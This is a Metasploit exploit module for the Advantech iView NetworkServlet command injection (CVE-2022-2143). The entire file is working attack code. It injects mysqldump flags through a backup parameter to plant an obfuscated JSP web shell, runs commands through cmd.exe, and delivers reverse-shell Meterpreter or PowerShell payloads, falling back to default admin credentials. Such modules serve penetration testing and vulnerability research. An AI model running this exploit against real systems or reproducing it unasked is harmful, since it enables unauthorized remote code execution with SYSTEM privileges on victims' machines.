##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Advantech iView NetworkServlet Command Injection',
        'Description' => %q{
          Versions of Advantech iView software below `5.7.04.6469` are
          vulnerable to an unauthenticated command injection vulnerability
          via the `NetworkServlet` endpoint.
          The database backup functionality passes a user-controlled parameter,
          `backup_file` to the `mysqldump` command. The sanitization functionality only
          tests for SQL injection attempts and directory traversal, so leveraging the
          `-r` and `-w` `mysqldump` flags permits exploitation.
          The command injection vulnerability is used to write a payload on the target
          and achieve remote code execution as NT AUTHORITY\SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rgod', # Vulnerability discovery
          'y4er', # PoC
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://y4er.com/post/cve-2022-2143-advantech-iview-networkservlet-command-inject-rce/'],
          [ 'CVE', '2022-2143']
        ],
        'Platform' => [ 'win' ],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Dropper',
            {
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'Type' => :win_dropper,
              'CmdStagerFlavor' => [ 'psh_invokewebrequest', 'vbs' ],
              'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Type' => :win_cmd,
              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' }
            }
          ]
        ],
        'DisclosureDate' => '2022-06-28',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The base path to Advantech iView', '/iView3']),
        OptString.new('USERNAME', [ false, 'The user name to authenticate with', 'admin']),
        OptString.new('PASSWORD', [ false, 'The password to authenticate with', 'password'])
      ]
    )
  end

  def check
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    return CheckCode::Unknown('Failed to receive a response from the application') unless res

    unless res.body.include?('iView')
      return CheckCode::Safe('No confirmation that target is Advantech iView')
    end

    res = send_db_backup_request('')
    return CheckCode::Detected('Failed to receive response from backup request') unless res

    # The patch added auth as a requirement for
    # accessing the NetworkServlet endpoint
    if res.body =~ /ERROR:\s+User\s+Not\sLogin/
      @needs_auth = true
      print_status('Vulnerability is present, though authentication is required.')
    end

    CheckCode::Appears('Target appears to be vulnerable')
  end

  def send_db_backup_request(filename)
    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'NetworkServlet'),
      'keep_cookies' => true,
      'vars_post' =>
      {
        'page_action_type' => 'backupDatabase',
        'backup_filename' => filename
      }
    )
  end

  def format_jsp
    bin_nums = []
    arg_nums = []
    flag_nums = []

    bin_param.each_char { |c| bin_nums << c.ord }
    bin_nums = bin_nums.join(',')
    arg_param.each_char { |c| arg_nums << c.ord }
    arg_nums = arg_nums.join(',')
    flag_param.each_char { |c| flag_nums << c.ord }
    flag_nums = flag_nums.join(',')

    '<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((' \
    'new ProcessBuilder(request.getParameter(' \
    "new java.lang.String(new byte[]{#{bin_nums}}))," \
    "request.getParameter(new java.lang.String(new byte[]{#{flag_nums}}))," \
    "request.getParameter(new java.lang.String(new byte[]{#{arg_nums}}))).start())" \
    '.getInputStream()))%>'
  end

  def flag_param
    @flag_param ||= Rex::Text.rand_text_alpha(3..8)
  end

  def arg_param
    @arg_param ||= Rex::Text.rand_text_alpha(3..8)
  end

  def bin_param
    @bin_param ||= Rex::Text.rand_text_alpha(3..8)
  end

  def jsp_filename
    @jsp_filename ||= "#{Rex::Text.rand_text_alpha(5..12)}.jsp"
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, jsp_filename),
      'keep_cookies' => true,
      'vars_get' =>
      {
        bin_param => 'cmd.exe',
        flag_param => '/c',
        arg_param => cmd
      }
    )
  end

  def iview_authenticate
    res = send_request_cgi!(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )

    fail_with(Failure::UnexpectedReply, 'Login page not found') unless res && res.body.include?('loginWindow')
    vprint_good('Successfully accessed the login page')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'CommandServlet'),
      'keep_cookies' => true,
      'vars_post' => {
        'page_action_service' => 'UserServlet',
        'page_action_type' => 'login',
        'user_name' => datastore['USERNAME'],
        'user_password' => datastore['PASSWORD'],
        'use_ldap' => 'false',
        'data' => ''
      }
    )

    unless res && res.body.include?('Success')
      fail_with(Failure::BadConfig, 'Authentication failed. Credentials likely incorrect.')
    end
    vprint_good('Authentication successful!')
  end

  def need_auth?
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'NetworkServlet')
    )
    return false unless res

    !!(res.body =~ /ERROR:\s+User\s+Not\sLogin/)
  end

  def exploit
    if @needs_auth || need_auth?
      iview_authenticate
    end

    jsp_code = format_jsp

    sql_filename = "#{Rex::Text.rand_text_alpha(5..12)}.sql"
    full_cmd = "#{sql_filename}\" -r \"./webapps/iView3/#{jsp_filename}\" -w \"#{jsp_code}\""

    res = send_db_backup_request(full_cmd)
    fail_with(Failure::UnexpectedReply, 'Failed to write JSP file to target') unless res

    path = "webapps\\iView3\\#{jsp_filename}"
    register_file_for_cleanup(path)
    if target['Type'] == :win_dropper
      execute_cmdstager
    else
      execute_command(payload.encoded)
    end
  end
end
